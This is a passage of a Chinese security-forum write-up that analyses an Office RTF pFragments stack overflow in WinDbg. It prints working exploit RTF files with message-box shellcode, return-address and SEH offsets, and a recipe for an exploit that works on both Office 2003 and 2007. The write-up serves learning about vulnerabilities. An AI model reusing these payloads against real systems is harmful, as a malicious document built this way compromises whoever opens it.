char __userpurge sub_30F4CB1D@<al>(int a1@<edx>, int a2@<edi>, int ecx0@<ecx>, int a3, int a4, int a5){ // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( !a5 ) { sub_31439DD5(ecx0, a1); return 0; }...}

所以要让第五个参数(第一个push到栈中的参数)为0。


4.2 确定特殊值的位置


对之前msf生成的poc文件进行修改,为了方便测试,使用的payload是在0day中提供的很简单的弹窗程序。
 
除此之外,注意到上面图片中最后的指令是retn 14h,所以需要在返回地址和payload之间添加20个字节的垃圾数据。
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111600090909090909090909090909090909090909090902f762600909090909191919192929292939393939494949433db536877657374686661696c8bc453505053b8ea07457effd053b8faca817cffd05b8be55dc3}}}}

注意这个测试文件,返回地址后面的垃圾数据中,每四个字节的内容都不一样,这样可以更方便地确定是哪块数据需要特殊处理。
 
还是在0x30F4CC5D下断点,然后单步调试。在执行完漏洞函数之后,到达第一个push的位置。
0:000> peax=93939393 ebx=05000000 ecx=00000000 edx=00000000 esi=01491168 edi=00123f88eip=30f4cc99 esp=00123db0 ebp=00123dd0 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246mso!Ordinal753+0x2f4a:30f4cc99 ff7518 push dword ptr [ebp+18h] ss:0023:00123de8=94949494

所以最后一个参数是0x94949494所在的位置了,为了再次确定,可以步入到sub_30F4CB1D函数中,执行到比较是否等于0的指令时:
0:000> peax=00123dc8 ebx=00000000 ecx=00123dc8 edx=90909090 esi=01491168 edi=00123f88eip=30f4cb26 esp=00123d8c ebp=00123d9c iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246mso!Ordinal753+0x2dd7:30f4cb26 395d10 cmp dword ptr [ebp+10h],ebx ss:0023:00123dac=94949494

所以我们需要把0x94949494修改为0。

4.3 成功


最后得到的poc文件:
  {\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111600090909090909090909090909090909090909090902f762600909090909191919192929292939393930000000033db536877657374686661696c8bc453505053b8ea07457effd053b8faca817cffd05b8be55dc3}}}}

保存成rtf文件,双击打开,payload成功执行:



5


一些补充问题


其实到这里整个漏洞利用流程就结束了,但是在《漏洞战争》中还提到了一些其他问题,在这里也进行一下总结。

5.1 office2003和office2007的通用性


在上面的实验中,我直接使用了书中提供的返回地址0x0026762f,这个地址在0ffice2003中是通用的,但是在office2007中则会触发异常。
 
其实我一开始安装的是office2007,结果实验结果和书里说的不一样,后来换成了office2003。现在再试一下office2007。

5.1.1 office2007环境下遇到的问题


我遇到的问题就是msf生成的poc文件触发异常的位置不对。
 
在office2007的环境下打开poc文件之后:
0:004> gModLoad: 3c4c0000 3c4df000 C:\WINDOWS\system32\IMSC12.IMEModLoad: 3c430000 3c4a2000 C:\Program Files\Common Files\Microsoft Shared\ime12\Imesc\IMSCUI.DLLModLoad: 39e20000 39e2a000 C:\Program Files\Microsoft Office\Office12\MSOSTYLE.DLLModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dllModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dllModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dllModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLLModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dllModLoad: 7e290000 7e401000 C:\WINDOWS\system32\SHDOCVW.dllModLoad: 77a80000 77b15000 C:\WINDOWS\system32\CRYPT32.dllModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dllModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dllModLoad: 771b0000 7725a000 C:\WINDOWS\system32\WININET.dllModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dllModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dllModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dllModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dllModLoad: 3bd10000 3bea5000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLLModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll(d94.dc): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=3c523e10 ebx=00000000 ecx=0011ffac edx=00000000 esi=04207998 edi=00120168eip=32cf33fc esp=0011ff60 ebp=0011ff60 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll -mso!Ordinal7356+0x1315:32cf33fc 8b4804 mov ecx,dword ptr [eax+4] ds:0023:3c523e14=????????*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office12\wwlib.dll -

可以看到发生异常的位置不太对,这部分代码其实在书中后面也涉及到了,而且我在调试office2003的环境时也有碰到。

就是上图中“诡异的运算”那里。这个异常应该是我在上文提到的特殊位置如果不设置为0会遇到的异常。

 
如果把特殊位置设置成0,在office2007的环境下就会直接跳转到覆盖的返回地址那里。
 
所以msf生成的poc文件并没有将数据复制到不可写位置,如果查看一下触发异常时的栈帧情况:
0:000> db esp0011ff60 7c ff 11 00 a1 79 e5 32-74 ff 11 00 41 61 30 41 |....y.2t...Aa0A0011ff70 00 00 00 05 00 00 00 00-ac ff 11 00 b4 ff 11 00 ................0011ff80 13 7b e5 32 41 61 30 41-41 61 38 41 ac ff 11 00 .{.2Aa0AAa8A....0011ff90 62 33 41 62 00 00 00 00-00 00 00 00 00 00 00 00 b3Ab............0011ffa0 c4 00 97 00 41 61 30 41-61 31 41 61 32 41 61 33 ....Aa0Aa1Aa2Aa30011ffb0 41 61 34 41 61 35 41 61-36 41 61 37 41 61 38 41 Aa4Aa5Aa6Aa7Aa8A0011ffc0 61 39 41 62 30 41 62 31-41 62 32 41 62 33 41 62 a9Ab0Ab1Ab2Ab3Ab0011ffd0 34 41 62 35 41 62 36 41-62 37 41 62 38 41 62 39 4Ab5Ab6Ab7Ab8Ab9

可以看到数据是在0x11ffa4开始复制的,而复制的长度占用了两个字节,无论如何都无法写到0x130000,也就是不可写内存所在位置。
 
我也不清楚为什么结果是这样的,毕竟书上的环境也是office2007。
 
虽然没有正常触发异常,但是从结果来看漏洞还是存在的。

5.1.2 如何使用msf确定SEH handler的位置


所以如果是在office2007的环境,可以通过覆盖 SEH handler地址的方式进行漏洞利用。
 
书中提到了可以使用msf的pattern_create和pattern_offset定位偏移量,Exploit编写系列教程(参考资料3)中对这个方法进行了介绍,我尝试使用里面介绍的方法对SEH handler的位置进行判断。
1、安装msf,将ruby.exe所在目录添加到环境变量里(要使用msf自带的ruby)。
2、找到pattern_create.rb和pattern_offset.rb所在的目录,执行ruby .\pattern_create.rb -l 50000 > test.txt。


这个时候得到的文件内容为:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5...


注意到和msf生成的poc中内容是一样的,所以其实不需要自己再额外生成一个测试文件了,直接使用之前的poc文件也可以。

不过我还是又自己创建了一个rtf,test.rtf,要在010editor中把test.txt中的字符转化成对应的ascii值,然后替换成pFragments的内容。

3、回到windbg,同样的步骤,打开test.rtf,会在同样的异常位置暂停下来,再按一下F5让它继续执行。

程序应该会尝试执行SEH handler(已经被覆盖掉了),由于覆盖的是随机地址,无法执行,所以会再一次到达异常:
0:000> g(b80.808): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000000 ebx=00000000 ecx=37714836 edx=7c9032bc esi=00000000 edi=00000000eip=37714836 esp=0011fb90 ebp=0011fbb0 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001024637714836 ?? ???

注意到此时的地址0x37714836,这个地址就是覆盖之后的SEH handler地址。

4、执行ruby .\pattern_offset.rb -q 0x37714836 -l 50000(这个长度取一个比较大的值就行),查看这个地址的偏移,得到:
[*] Exact match at offset 5960[*] Exact match at offset 26240[*] Exact match at offset 46520

应该就是5960,不然距离也太远了。

所以5960个字节之后的四个字节就是SEH Handler的地址,可以测试一下这个结论,在test.rtf中搜索36487137(这么看来直接搜索也可以,(lll¬ω¬)),替换成41414141,再次调试,输出:
(a9c.a00): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=3c523e10 ebx=00000000 ecx=0011ffac edx=00000000 esi=041c7960 edi=00120168eip=32cf33fc esp=0011ff60 ebp=0011ff60 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll -mso!Ordinal7356+0x1315:32cf33fc 8b4804 mov ecx,dword ptr [eax+4] ds:0023:3c523e14=????????*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office12\wwlib.dll -0:000> g(a9c.a00): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000eip=41414141 esp=0011fb90 ebp=0011fbb0 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001024641414141 ?? ???

确实断在了41414141这里,结论是正确的。

5.1.3 office2007环境下的漏洞利用


现在已经找到了SEH Handler的位置,按照书中说的,把这里的数值修改成0x0B0B2800,把前四个字节修改成0xEB06EB04,然后把shellcode放在SEH Handler的后面,再次打开test.rtf,成功得到弹窗:

5.1.4 office2003和2007结合的漏洞利用


其实书中对poc的结构已经进行了说明
 
框架是这样的:
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111【添加内容】}}}}

添加四字节长度信息,这里长度足够就可以:
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111【0050】}}}}

添加20字节垃圾数据,再加上四字节返回地址:
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;111111110050【90909090909090909090909090909090909090902f762600】}}}}

添加16字节垃圾数据,再加上四字节的\x00:
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111005090909090909090909090909090909090909090902f762600【9090909090909090909090909090909000000000】}}}}

添加5912字节垃圾数据,再加上四字节EB06EB04和四字节0B0B2800,然后就是shellcode了。这部分内容太大,不再粘贴,完整文件见附件。
 
最终得到的文件在两个环境下都可以正常弹窗。

5.2 windbg指令总结(仅包含此次分析过程中接触的指令)


  1. bp:下断点

    ba:内存断点,ba access size [addr]

    bl:列出已存在断点

    bc:根据上面列出断点的标号,删除对应断点

  2. g:继续运行
  3. db:查看字节数据

    db、dw、dd、dq:字节、字、双字、四字

    da、du:ascii、unicode

    dt:显示变量结构

  4. !address命令可以显示内存信息
  5. 使用kb指令显示调用堆栈及栈上的前三个参数
  6. ub指令查看指定地址之前的汇编代码

    uf:显示之后的汇编代码

  7. r:查看寄存器
  8. lm: 显示模块信息


6


总结


这次的漏洞分析和之前的流程都不同,从一个引发崩溃的poc文件触发,定位漏洞位置,判断返回地址的偏移,从而自己构造exploit文件。

 
除此之外,第一次没有使用OD进行分析,windbg的指令函数蛮强大的,就是不熟练,所以很多时候都会感觉不知道要干什么。
 
使用msf生成了poc文件,还接触了msf的pattern_create和pattern_offset,虽然这次没有用到多少功能,但是已经感觉到了它的便利性。
 
之前确认SEH Handler的位置都是在OD里面看栈上数据的标注,而这次则是在OD中让代码继续执行,查看EIP的值,其实过程中有很多不确定,但最终还是成功了。
 
总体来说这次漏洞分析的过程还是比较顺利的,大致熟悉了Windbg的命令之后,我其实并没有完全跟着书上的流程走。

而是根据当时的分析情况,从自己的疑惑出发逐步得到了最终结论。也发现了泉哥组织翻译的exploit编写系列教程,干货非常多,也要加入学习列表了。
 

7


参考资料


1、Rich Text Format (RTF) Specification,version 1.6
2、《漏洞战争》
3、Exploit 编写系列教程


 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

  *本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区




# 往期推荐

1. 某鹅安全竞赛20年初赛ring0题解

2. 某知笔记服务端docker镜像授权分析

3. angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目

4. 记一次Word宏Downloader样本分析

5. 关于一次在pwnable.kr中input题目的经历(python3)

6. Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存